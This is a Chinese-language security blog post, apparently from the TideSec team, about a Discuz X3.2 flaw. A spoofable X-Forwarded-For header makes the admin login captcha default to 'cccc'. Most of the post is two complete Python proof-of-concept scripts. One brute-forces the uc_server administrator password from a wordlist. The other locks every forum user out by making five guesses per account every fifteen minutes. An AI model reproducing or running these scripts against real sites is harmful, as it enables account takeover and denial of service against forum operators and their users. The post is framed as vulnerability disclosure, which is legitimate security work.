1. 漏洞情况
在Discuz X3.2管理员登录时,使用了图形验证码。
http://localhost/discuz/uc_server/admin.php
但经测试发现,登录uc_server的时候如果ip第一次出现那么 seccode的默认值为cccc,而 ip地址是通过X-Forwarded-For获取的。
也就是我们修改X-Forwarded-For的ip之后,再次打开上面登录页面,图片的值为cccc。
根据验证码存在的缺陷可以写一个程序通过修改X-Forwarded-For的值爆破密码。
2. 管理员密码破解POC
该POC在网上也有流传,主要是通过随机生成X-Forwarded-For进行管理员密码的破解,但执行效率较低,且容错机制较差有一定误报情况。为此我们进行了一定的改进,主要是对不同网页编码进行容错,对服务器响应结果进行多重验证。
#coding:utf-8 import httplib,re,random,urllib,time from sys import argv def getHtml(host,htmlhash,htmlpass,htmlseccode): ip=str(random.randint(1,100))+"."+str(random.randint(100,244))+"."+str(random.randint(100,244))+"."+str(random.randint(100,244)) print ip postHead={"Host":host,"User-Agent": "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0","X-Forwarded-For":ip,'Content-Type':'application/x-www-form-urlencoded','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Connection':'keep-alive'} postContent='sid=&formhash='+htmlhash+'&seccodehidden='+htmlseccode+'&iframe=0&isfounder=1&password='+htmlpass+'&seccode=cccc&submit=%E7%99%BB+%E5%BD%95' resultHtml=httplib.HTTPConnection(host, 80, False) resultHtml.request('POST','/uc_server/admin.php?m=user&a=login',body=postContent,headers = postHead ) page=resultHtml.getresponse() pageConect=page.read() return pageConect def gethashs(host): url='http://'+host+'/uc_server/admin.php' pageContent=urllib.urlopen(url).read() r1=re.compile('<input type="hidden" name="formhash" value="(\S+)" />') htmlhash=r1.findall(pageContent)[0] r2=re.compile('<input type="hidden" name="seccodehidden" value="(\S+)" />') htmlseccode=r2.findall(pageContent)[0] print htmlhash+' '+htmlseccode return htmlhash+' '+htmlseccode if(len(argv)==0): print '---->python '+argv[0]+' host地址 字典文件 间隔时间' print '---->python '+argv[0]+' **.**.**.** pass.txt 0.2' else: host='www.zhangqiur.com' passfile='/Users/xysoul/Develop/py/other/dic/dic_1.2M.txt' sleeptime= '1' print '网站host为 '+host hostuser=host.split('.') hostuser=hostuser[len(hostuser)-2] hostpass=[] print '密码字典为 '+passfile print '间隔时间为 '+sleeptime print '--->' x=gethashs(host).split(' ') f=open(passfile,'r') htmlpass=f.read().split() htmlpass=hostpass+htmlpass f.close() out = open('pass.txt','a+') for i in range(len(htmlpass)): time.sleep(float(sleeptime)) print '正在尝试密码'+htmlpass[i] if(getHtml(host,x[0],htmlpass[i],x[1])==''): print '密码为 '+htmlpass[i] out.write(htmlpass[i]+'\n')
3. 拒绝用户登录POC
我们通过分析漏洞的使用范围,发现很多网站的普通用户登录处也存在类似的问题,为此我们设计了一个能拒绝任意用户登陆的POC。
主要原理是随机生成X-Forwarded-For进行恶意密码穷举,而每个账户只要尝试密码5次就会被锁定账户15分钟,这15分钟之内无法进行登录。
因此,只要遍历出用户名,然后使用脚本程序对用户密码进行穷举,每15分钟尝试5次,这样就能造成所有用户都无法正常登录。
#coding:utf-8 import httplib,re,random,urllib,time from sys import argv def getHtml(host,username,password): ip=str(random.randint(1,100))+"."+str(random.randint(100,244))+"."+str(random.randint(100,244))+"."+str(random.randint(100,244)) cookie = 'pre_2132_sid=ZcV6Cw; pre_2132_saltkey=MzgVwBmb; pre_2132_lastvisit=1500115108; pre_2132_lastact=1500123618%09member.php%09logging; pre_2132_home_diymode=1; pre_2132_sendmail=1' postHead={"Host":host,"User-Agent": "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0","X-Forwarded-For":ip,'Content-Type':'application/x-www-form-urlencoded','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Connection':'keep-alive','Cookie':cookie} postContent='formhash=f8d9a871&referer=http%3A%2F%2Fwww.host.com%2Fhome.php%3Fmod%3Dspace%26uid%3D67622%26do%3Dprofile&username='+username+'&password='+password+'&questionid=0&answer=' resultHtml=httplib.HTTPConnection(host, 80) resultHtml.request('POST','/member.php?mod=logging&action=login&loginsubmit=yes&handlekey=login&loginhash=LsOhh&inajax=1',body=postContent,headers = postHead) page=resultHtml.getresponse() pageConect=page.read() if len(pageConect.decode('gbk')) >250: result = open('dic/result.txt','a+') result.write(username+':'+passwd+'\n') result.close() print pageConect.decode('gbk') return pageConect host='www.host.com' u = open('dic/user.txt','r') p = open('dic/pass.txt','r') usr=u.read().split() pwd = p.read().split() i = 0 for passwd in pwd: print i for user in usr: time.sleep(1) print user+':'+passwd getHtml(host,user,passwd) i = i+1 if i == 5: time.sleep(901) i = 0
关注我们
对web安全有兴趣的小伙伴可以关注或加入我们,TideSec安全团队:
来源:freebuf.com 2019-03-07 17:11:57 by: TideSec
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
请登录后发表评论
注册